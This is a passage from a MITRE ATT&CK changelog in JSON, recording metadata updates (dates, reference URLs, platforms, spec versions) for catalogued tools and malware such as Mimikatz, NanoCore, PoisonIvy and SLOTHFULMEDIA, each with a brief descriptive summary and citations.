"{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-27 18:36:30.831000+00:00\", \"old_value\": \"2022-04-06 19:32:33.511000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.\", \"old_value\": \"Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://github.com/offsecginger/koadic\", \"old_value\": \"https://github.com/zerosum0x0/koadic\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "2.0" + }, + { + "type": "tool", + "id": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-05 02:34:01.189000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "MailSniper", + "description": "MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0413", + "external_id": "S0413" + }, + { + "source_name": "GitHub MailSniper", + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "url": "https://github.com/dafthack/MailSniper" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MailSniper" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2020-03-30 17:01:41.302000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Office 365\", \"root['x_mitre_platforms'][2]\": \"Azure AD\"}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29 21:47:53.070000+00:00", + "modified": "2024-10-04 11:08:25.923000+00:00", + "name": "Micropsia", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0339", + "external_id": "S0339" + }, + { + "source_name": "Micropsia", + "description": "(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)" + }, + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://www.radware.com/blog/security/2018/07/micropsia-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Micropsia" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-04 11:08:25.923000+00:00\", \"old_value\": \"2024-04-11 00:43:46.245000+00:00\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.radware.com/blog/security/2018/07/micropsia-malware/\", \"old_value\": \"https://blog.radware.com/security/2018/07/micropsia-malware/\"}}}", + "previous_version": "1.2" + }, + { + "type": "tool", + "id": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:11.544000+00:00", + "modified": "2024-09-25 20:34:58.387000+00:00", + "name": "Mimikatz", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0002", + "external_id": "S0002" + }, + { + "source_name": "Deply Mimikatz", + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mimikatz" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.9", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:34:58.387000+00:00\", \"old_value\": \"2024-02-09 21:31:30.227000+00:00\"}}}", + "previous_version": "1.9" + }, + { + "type": "malware", + "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:16.315000+00:00", + "modified": "2024-09-12 15:19:00.433000+00:00", + "name": "Miner-C", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0133", + "external_id": "S0133" + }, + { + "source_name": "Softpedia MinerC", + "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.", + "url": "https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Miner-C" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"Miner-C\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:19:00.433000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.\", \"old_value\": \"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml\", \"old_value\": \"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29 20:05:35.952000+00:00", + "modified": "2024-09-25 15:05:04.341000+00:00", + "name": "NanoCore", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0336", + "external_id": "S0336" + }, + { + "source_name": "NanoCore", + "description": "(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)" + }, + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + }, + { + "source_name": "Cofense NanoCore Mar 2018", + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.", + "url": "https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/" + }, + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NanoCore" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:05:04.341000+00:00\", \"old_value\": \"2020-03-30 17:10:28.673000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.\", \"old_value\": \"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/\", \"old_value\": \"https://cofense.com/nanocore-rat-resurfaced-sewers/\", \"new_path\": \"root['external_references'][4]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:15.263000+00:00", + "modified": "2024-09-19 14:30:03.923000+00:00", + "name": "PoisonIvy", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0012", + "external_id": "S0012" + }, + { + "source_name": "Poison Ivy", + "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "PoisonIvy", + "description": "(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "Breut", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "Darkmoon", + "description": "(Citation: Symantec Darkmoon Sept 2014)" + }, + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf" + }, + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + }, + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Symantec Darkmoon Sept 2014", + "description": "Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.", + "url": "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PoisonIvy", + "Breut", + "Poison Ivy", + "Darkmoon" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Darren Spruell" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-19 14:30:03.923000+00:00\", \"old_value\": \"2024-02-14 19:16:01.583000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.\", \"old_value\": \"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf\", \"old_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf\"}}}", + "previous_version": "2.2" + }, + { + "type": "tool", + "id": "tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-02-18 13:29:23.577000+00:00", + "modified": "2024-09-16 17:02:37.377000+00:00", + "name": "ROADTools", + "description": "[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0684", + "external_id": "S0684" + }, + { + "source_name": "ROADtools Github", + "description": "Dirk-jan Mollema. (2022, January 31). ROADtools. Retrieved January 31, 2022.", + "url": "https://github.com/dirkjanm/ROADtools" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ROADTools" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false, \"root['x_mitre_platforms']\": [\"Identity Provider\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 17:02:37.377000+00:00\", \"old_value\": \"2022-04-01 13:27:48.378000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-09-12 19:32:28.614000+00:00", + "name": "RedLeaves", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0153", + "external_id": "S0153" + }, + { + "source_name": "RedLeaves", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "BUGJUICE", + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)" + }, + { + "source_name": "Twitter Nick Carr APT10", + "description": "Carr, N.. (2017, April 6). Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/850105140589633536" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RedLeaves", + "BUGJUICE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:32:28.614000+00:00\", \"old_value\": \"2024-04-11 00:17:52.256000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Carr, N.. (2017, April 6). Retrieved September 12, 2024.\", \"old_value\": \"Carr, N.. (2017, April 6). Retrieved June 29, 2017.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/850105140589633536\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/850105140589633536\"}}}", + "previous_version": "1.2" + }, + { + "type": "tool", + "id": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-04 18:27:00.501000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Ruler", + "description": "[Ruler](https://attack.mitre.org/software/S0358) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://attack.mitre.org/software/S0358) have also released a defensive tool, NotRuler, to detect its usage.(Citation: SensePost Ruler GitHub)(Citation: SensePost NotRuler)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0358", + "external_id": "S0358" + }, + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ruler" + ], + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2020-06-22 21:31:54.771000+00:00\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-09-04 21:36:27.669000+00:00", + "name": "SHUTTERSPEED", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0217", + "external_id": "S0217" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SHUTTERSPEED" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"SHUTTERSPEED\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 21:36:27.669000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"SHUTTERSPEED\", \"description\": \"(Citation: FireEye APT37 Feb 2018)\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-16 23:23:00.729000+00:00", + "modified": "2024-09-12 19:39:44.514000+00:00", + "name": "SLOTHFULMEDIA", + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) \n\nIn October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as \"IAmTheKing\".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as \"PowerPool\".(Citation: ESET PowerPool Code October 2020) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0533", + "external_id": "S0533" + }, + { + "source_name": "Costin Raiu IAmTheKing October 2020", + "description": "Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.", + "url": "https://x.com/craiu/status/1311920398259367942" + }, + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" + }, + { + "source_name": "ESET PowerPool Code October 2020", + "description": "ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.", + "url": "https://x.com/ESETresearch/status/1311762215490461696" + }, + { + "source_name": "Kaspersky IAmTheKing October 2020", + "description": "Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020.", + "url": "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" + }, + { + "source_name": "QueenOfClubs", + "description": "Kaspersky Labs assesses [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is an older variant of a malware family it refers to as the QueenOfClubs.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "JackOfHearts", + "description": "Kaspersky Labs refers to the \"mediaplayer.exe\" dropper within [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) as the JackOfHearts.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "USCYBERCOM SLOTHFULMEDIA October 2020", + "description": "USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.", + "url": "https://x.com/CNMF_CyberAlert/status/1311743710997159953" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SLOTHFULMEDIA", + "JackOfHearts", + "QueenOfClubs" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:39:44.514000+00:00\", \"old_value\": \"2021-04-13 20:44:14.476000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.\", \"old_value\": \"Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved November 16, 2020.\", \"new_path\": \"root['external_references'][1]['description']\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://x.com/craiu/status/1311920398259367942\", \"old_value\": \"https://twitter.com/craiu/status/1311920398259367942\", \"new_path\": \"root['external_references'][1]['url']\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.\", \"old_value\": \"ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved November 17, 2020.\", 